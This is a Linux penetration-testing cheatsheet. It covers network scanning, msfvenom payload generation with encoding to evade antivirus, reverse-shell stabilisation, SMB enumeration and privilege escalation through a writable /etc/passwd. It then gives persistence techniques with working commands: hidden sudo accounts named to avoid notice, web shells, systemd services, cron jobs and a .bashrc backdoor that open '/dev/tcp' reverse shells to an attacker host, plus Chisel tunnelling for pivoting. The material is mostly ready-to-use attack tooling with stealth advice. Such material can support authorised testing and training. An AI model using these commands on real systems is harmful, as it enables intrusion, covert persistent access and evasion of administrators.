Acfirth

Linux Pentesting Cheatsheet

General Reconnaissance

nmap -sn <IP/{subnet_mask}>
[Scans an IP range for alive hosts]

    Example:
    nmap -sn 10.0.0.0/24
    [Scans all IPs from 10.0.0.1 - 10.0.0.254]

for i in {1..254} ;do (ping -c 1 10.0.0.$i | grep "bytes from" &) ;done
[Ping-sweep using the ping tool]
nmap --min-rate 4500 --max-rtt-timeout 1500ms <IP|Hostname> -p-
[Scans all ports on a given target (You can remove -p- to only scan the top 1000 ports)]

rustscan -a <IP|Hostname> --ulimit 10000
[Scans all ports using rustscan]
nmap --min-rate 4500 --max-rtt-timeout 1500ms <IP|Hostname> -p- -sV
[Scans all ports and then attempts to find the services running on open ports]

rustscan -a <IP|Hostname> --ulimit 10000 -- -sV
[Uses rustscan to find open ports and then passes the open ports to NMAP to scan services]

Generating Payloads for Linux Hosts

Msfvenom

You can use msfvenom to quickly generate a multitude of payload types.
Including meterpreter shells which you can use to take advantage of metasploit modules within a compromised machine.

msfvenom --list all
[Used to list the available modules (payload, encoders, etc.)]

msfvenom -p <payload_type> LHOST=<Listener_IP|Hostname|Domain> LPORT=<Listener_Port> -f <output_format> -o <output_name>
[General msfvenom command template]

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Listener_IP> LPORT=<Listener_Port> -f elf -o payload.elf
[Generates a meterpreter shell for Linux (64-bit) in an ELF format]

You can use the '-e' argument and supply an encoder type to encode the payload, this can help prevent detection by AV (anti-virus) software.

If you are using a meterpreter payload, you should setup a listener, before deploying the payload, using msfconsole.

Commands to run:

- msfconsole
- use exploit/multi/handler
- set PAYLOAD <payload_type_used>
- set LHOST <Listener_IP_used>
- set LPORT <Listener_Port_used>
- run

If the listener fails to start correctly, you should check that you are attempting to listen on the correct IP (LHOST).
Another issue could be that if you are attempting to listen on a port below 1024, these are considered “privileged ports”. You should run msfconsole with administrative permissions (using sudo).

revgen

Another tool you can use to generate quick one-line reverse shell payloads is revgen.
This is a tool written by myself in Python3. It is a command line tool that takes only three parameters, and one optional parameter.

Usage:

revgen -l/--lhost <Listener_IP> -p/--lport <Listener_Port> -f <payload_format>
[General revgen command template]

revgen -l <Listener_IP> -p <Listener_Port> -f bash
[Used to generate one-line bash reverse shell payloads for a given Listener IP and Port]

Optional Argument:
    -e <Encoding Type>

        Encoding Types:
            B   Base64
            U   URI Encoding

Supported Formats:
    - bash
    - nc
    - ncat
    - curl
    - rustcat
    - perl
    - php
    - python
    - ruby
    - socat
    - sqlite3
    - node.js
    - groovy
    - telnet
    - zsh
    - lua
    - golang
    - vlang
    - awk
    - crystal
    - powershell

Stabilising a Simple Reverse Shell

If you get a simple reverse shell, for example one that calls back to a netcat listener, you may not be able to use all terminal features and commands such as the clear commmand as well as terminal text editors like nano and vim.
It is also easy to accidentally close a simple reverse shell by pressing ctrl +c as if you were halting a command whilst it was running.

Commands to Stabilise a Simple Reverse Shell:

1. Spawn a more interactive shell with Python or Python3
    python -c 'import pty; pty.spawn("/bin/bash")'
    or
    python3 -c 'import pty; pty.spawn("/bin/bash")'

2. Background the reverse shell
    CTRL + z

3. Correct terminal behaviour and foreground the reverse shell
    stty raw -echo; fg

4. Set the TERM environment variable so the terminal supports key features
    export TERM=xterm

FTP and SMB

FTP Anonymous Login

FTP (File Transfer Protocol) is used for allowing authorised users to transfer files between locations without the need for physical media. However, most FTP servers allow for the option of “anonymous login”. This means that a user named “anonymous” can access files on the FTP server without the need for a password.

This can be done using the command: ftp anonymous@<IP|Hostname>

Anonymous login on FTP servers can be detected using NMAP:
nmap -p <FTP_Port_usually_21> --script ftp-anon <IP|Hostname>

SMB Enumeration

SMB is commonly used for network file shares allowing users to access files within a named share across a network. They can also be publically accessible across the internet if it is configured to be that way.

Sometimes, if misconfigured, and SMB server may allow “null logins”, this is where a client is able to authorise without the use of a username or password. This can be a vulnerability as it may allow an attacker to see what file shares are available, and possibly read from or write to shares.

NMAP can be used to check for null logins and enumerate file shares on an SMB server:
nmap -p <SMB_Port_usually_445/139> --script smb-os-fingerprint,smb-enum-shares <IP|Hostname>

SMBMap

SMBMap is a tool used for enumerating samba (SMB) shares. It has very simply syntax.

smbmap -H <IP|Hostname>
[Attempts to enumerate shares on a given host]

smbmap -H <IP|Hostname> -u <username> -p <password|NTLM_Hash>
[Attempts to enumerate shares on a given host using a username and password for authentication]

SMBClient

SMBClient is an FTP-like client used for accessing SMB shares.

Basic Usage:

smbclient //<IP|Hostname>/<share>
[Attempts to authenticate without username or password]

smbclient //<IP|Hostname>/<share> -U <username>
[Attempts to authenticate with just a username]

smbclient //<IP|Hostname>/<share> -U <username> --password=<password>
[Attempts to authenticate with a given username and password]

Linux Privilege Escalation

Find SUID Binaries

SUID (Set User-ID) binaries are executable files that run with the permissions of the OWNER of the file rather than the user that runs the binary.
If a file has the SUID bit set and is owned by root, it may be able to be exploited to gain a shell as root.

find / -perm -u=s -type f 2>/dev/null
find / -type f -perm -4000 2>/dev/null

[Both commands search for SUID binaries starting at the root directory]

You should check found SUID binaries using GTFObins to see if there are any existing ways to exploit the binary for file read/write or gaining a root shell.

Find Files Containing Sensitive Information

You can search for files that may contain sensitive information using commands like:

find / -name "*.bak" 2>/dev/null
[Searches for backup files]

find / -name "*.kdbx" 2>/dev/null
[Searches for KeePass Password Manager database files containing passwords]

Check SUDO Privileges

You can check your sudo privileges using the command: sudo -l
This may require the user’s password to be entered before it displays any information.

Key features to look out for: NOPASSWD This means no password is required to run the presented commands using sudo. (ALL : ALL) This means that the user can run all commands using sudo.

You should check binaries that you can run as sudo against GTFObins to see if there are any exploits you can use to gain a root shell.

Writable /etc/passwd File

If you have the permissions to write to the /etc/passwd file, you can set the password of the root user by generating a password hash using openssl.

Exploiting Writable /etc/passwd:

1. Check /etc/passwd permissions

    ls -l /etc/passwd

If the output looks like this, then it can be exploited:
    -rw-r--rw- 1 root root 4.2K Nov 20 15:08 /etc/passwd
            ^
        User writable

2. Generate a new password hash
    openssl passwd -1 <password>

3. Open the /etc/passwd file in a text editor like nano

4. Replace the 'x' in the root user line with the password hash
    root:x:0:0:root:/root:/bin/bash
         ^
     Hash here

5. Save the file

6. Run the command 'su root'

7. Enter the password you chose and you should be logged in as root

Readable /etc/shadow File

If you can read the /etc/shadow file then you can extract the hashed password for users. You can then attempt to crack these hashes using a tool like Hashcat or JohnTheRipper.
If the users password is not particularly strong, then you might be able to crack the hash and login as that user.

Writable Cron Jobs

You can view Cron jobs using the commands:

cat /etc/crontab
ls -a /etc/cron.d

If you can write/replace to the script or binary that is being run by a cron job by another use then you may be able to escalate privileges or move laterally to another user.

Kernel Exploits

You can find out the kernel by running the command uname -r and then search for exploits for that specific kernel version.

linPEAS

A common tool for checking for misconfigurations and finding vulnerabilities in Linux is linPeas.
It checks for sudo vulnerabilities, file misconfigurations, attached network devices, and lots more which can greatly assist in escalating privileges or moving laterally on a Linux host.

linPEAS

Linux Persistence Methods

Persistence via SSH Keys

You can maintain persistence into a compromised host by generating SSH keys on your attacker machine and adding your SSH public key into the /<username>/.ssh/authorised_keys file. You can also generate SSH keys on the compromised host and copy the private SSH key to your attacker machine.

Generating SSH Keys on the Attacker Machine:

1. Run the command (attacker machine):
    ssh-keygen

2. Copy the SSH public key content

3. Paste the public key into the 'authorised_keys' file
    echo '<public_key_content>' >> /<username>/.ssh/authorised_keys

4. Login to the target using the command:
    ssh <username>@<IP|Hostname>

Generating SSH Keys on the Compromised Machine:

1. Run the command (compromised machine):
    ssh-keygen

2. Copy the SSH private key content

3. Paste the private key content into a file on the attacker machine

4. Change the permissions of the private key file (attacker machine):
    chmod 600 <private_key_file>

5. Login to the target using the command:
    ssh -i <private_key_file> <username>@<IP|Hostname>

Creating a Privileged Local Account

If you have root permissions, then you can create a local account that you can maintain access to if a previously compromised user’s password is changed, or the initial compromise method is patched.

When creating a new user account, you should use a username that is unlikely to be noticed easily, like the name of a service that requires a user such as “ftp”, “postgres”, or “mysql”, amongst others. (Just make sure that the username you want to use does NOT already exist by checking the /etc/passwd file.)

Create a Privileged Local Account:

1. Create a new user account with a username that blends in:
    useradd -m -s /bin/bash <username>

2. Add the created user to the sudo group:
    usermod -aG sudo <username>

3. Create a password for the newly created user:
    passwd <username>

4. You should now be able to login as that user via SSH, however you might want to
   add your SSH public key to the 'authorised_keys' in the users home directory as
   mentioned in the previous persistence method.

Persistence via Web Shells

If the target has a website running on the host that uses PHP, you could add a PHP web shell into the websites root directory that you can access via the browser to gain a reverse shell or execute specific commands on the target.

This would also work with websites that use executable files in the webiste such as .aspx files.

A drawback of this method is that, if the sysadmin has configured it correctly, the website will most likely not be running as root and instead as a non-privileged user such as www-data. This means that you would have to have a way to escalate your privileges after gaining access to the target again. To do this, you could create a privileged local account, as mentioned in the previous persistence method, that you can use to easily get root permissions.

Persistence via System Services

If you have root permissions, you can create a system service that runs automatically after reboot as any user you want. The system service can be configured to run malicious commands and call back to your attacker machine.

You could also modify an existing system service, to avoid detection, so it runs malicious commands whenever the system service runs.

System Service:

System Service Example:

[Unit]
Description=ReverseShell
After=network.target
 
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<listener_IP>/<listener_port> 0>&1'
Restart=always
RestartSec=30
 
[Install]
WantedBy=multi-user.target

You should save this file as any filename with the extension .service and put it in the /etc/systemd/service/ directory.

To enable and start the service, run the commands:

(sudo) systemctl enable <service_name>.service
and
(sudo) systemctl start <service_name>.service

You can check the status of the service by running the command:
(sudo) systemctl status <service_name>.service

User Service:

If you do not have root permissions, you can still create a user service to retain persistence as a non-privileged user.

User Service Example:

[Unit]
Description=Persistence Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<listener_ip>/<listener_port> 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=default.target

You should save this file as any filename with the extension .service and put it in the ~/.config/systemd/user/ directory.
If this directory does not exist, you can create it using the command:
mkdir -p ~/.config/systemd/user

To enable and start the user service, run the commands:

systemctl --user enable <service_name>.service
and
systemctl --user start <service_name>.service

You can check the status of the service by running the command:
systemctl --user status <service_name>.service

Service Explanations:

Description     Short description of the system service
After           Is the process that the system service should start running after it starts

Type            Defines the behaviour of the service
ExecStart       The command to run when the service starts
Restart         Tells systemd if the service should restart if it stops due to an error
RestartSec      The number of seconds between the service stopping and it restarting

WantedBy        Specifies which runlevel or target the service should be associated with
                'multi-user.target' is most commonly used for system services whereas
                'default.target' is most commonly used for user services

Persistence via Cron Jobs

You can add a cron job that runs in set intervals or after every reboot that calls a script or binary that runs malicious code to do whatever you want, for example, run a reverse shell that calls back to your attacker machine.

Add a Cron Job:

1. Open the crontab file for editing:
    crontab -e

2. Add the line below to the crontab file:
    * * * * * <user> <command_to_run>
    or
    * * * * * <user> </path/to/script/to/run.sh>

This will make the command or script run every minute as the specified user.

Persistence via .bashrc Backdoor

A .bashrc backdoor consists of adding malicious bash code to the .bashrc file located in the users home directory. The code is then run whenever the user logs in and opens a terminal, such as an SSH login.
This method also works with other shell types such as zsh, the file would be called .zshrc and the steps to replicate it would still be the same.

Add malicious code to ~/.bashrc:

1. Open .bashrc in a text editor
    nano ~/.bashrc

2. Add your malicious code into the file

3. Save the file

4. Wait for the code to execute when the user logs in

Example:
    Malicious code: 'bash -i >& /dev/tcp/10.0.0.21/4444 0>&1'
    This would open a reverse shell back to the attackers machine.

Pivoting with Chisel

Chisel is a fast and easy-to-use tool for TCP and UDP tunneling and pivoting from a compromsied host to other hosts or open ports within the network. It can be particularly useful for when there are firewall rules in place preventing you from accessing specific hosts or ports from outside of the network, or preventing internal hosts from reaching out of the network back to the attacker machine.

Chisel supports tunneling over HTTP and HTTPS which can be useful for evading detection and circumventing network restrictions. It also supports reverse and bind tunneling. Reverse tunneling is when the client connects back to the attacker machine, and bind tunneling is when the attacker connects to an exposed port on the client machine. There are also precompiled binaries for Linux, OpenBSD, and Windows hosts allowing you to simply transfer the binary over and start tunneling quickly.

Chisel Reverse Tunneling

1. On the attacker machine, run the below command to setup a chisel server in reverse mode:
    ./chisel server -p <port_to_listen_on> --reverse

2. Download/upload the chisel binary onto the compromised machine

3. On the compromised machine, run the below command to connect back to the attacker
   machine and point connections to a specific IP and port:
    ./chisel client <listener_IP>:<listener_port> R:<local_tunnel_port>:<target_IP>:<target_port>

4. On the attacker machine you can now interact with the target port by accessing 
   localhost on the port opened on the attacker machine

Example commands:
    For this example, the attacker IP is 10.0.0.21
    and the compromised machine's IP is 10.0.0.42.

    1. (Attacker machine)
        ./chisel server -p 9000 --reverse

    2. (Compromised host)
        ./chisel client 10.0.0.21:9000 R:9001:127.0.0.1:80
    
    3. (Attacker machine)
        Interact with port 80 on the compromised machine by accessing localhost:9001
        in a browser

Chisel Bind Tunneling

1. On the compromised machine, run the below command to setup a chisel server:
    ./chisel server -p <port_to_listen_on>

2. On the attacker machine, run the below command to connect to the compromised machine
   and bind a local tunnel port to the target IP and port:
    ./chisel client <listener_IP>:<listener_port> -b <bind_local_tunnel_port>:<target_IP>:<target_port>

3. On the attacker machine you can now interact with the target port by accessing 
   localhost on the port opened on the attacker machine

Example Commands:
    For this example, the attacker IP is 10.0.0.21
    and the compromised machine's IP is 10.0.0.42.

    1. (Compromised machine)
        ./chisel server -p 9000
    
    2. (Attacker machine)
        ./chisel client 10.0.0.42:9000 -b 9001:127.0.0.1:80
    
    3. (Attacker machine)
        Interact with port 80 on the compromised machine by accessing localhost:9001
        in a browser

Chisel also supports SOCKS proxying, allowing an attacker to add the IP and port to their proxychains.conf file and use the proxychains command access hosts within the compromised network as if they were directly connected to the network.

Chisel SOCKS5 Proxying

1. On the attacker machine, start the chisel server in SOCKS5 proxy mode:
    ./chisel server --reverse -p <port_to_listen_on>

2. On the compromised machine, connect back to the attacker machine and create a
   reverse SOCKS proxy:
    ./chisel client <listener_IP>:<listener_port> R:<proxy_port>:socks

3. On the attacker machine, add the SOCKS5 proxy to your 'proxychains.conf' file:
    socks5 127.0.0.1 <proxy_port>

4. Use the 'proxychains' command to route traffic through the SOCKS proxy to the
   compromised network.

Example Commands:
    For this example, the attacker IP is 10.0.0.21
    and the compromised machine's IP is 10.0.0.42.

    1. (Attacker machine)
        ./chisel server --reverse -p 9000

    2. (Compromised machine)
        ./chisel client 10.0.0.21:9000 R:9001:socks
    
    3. (Attacker machine)
        Add 'socks5 127.0.0.1 9001' to 'proxychains.conf'
    
    4. (Attacker machine)
        Use the 'proxychains' command to route your traffic through the proxy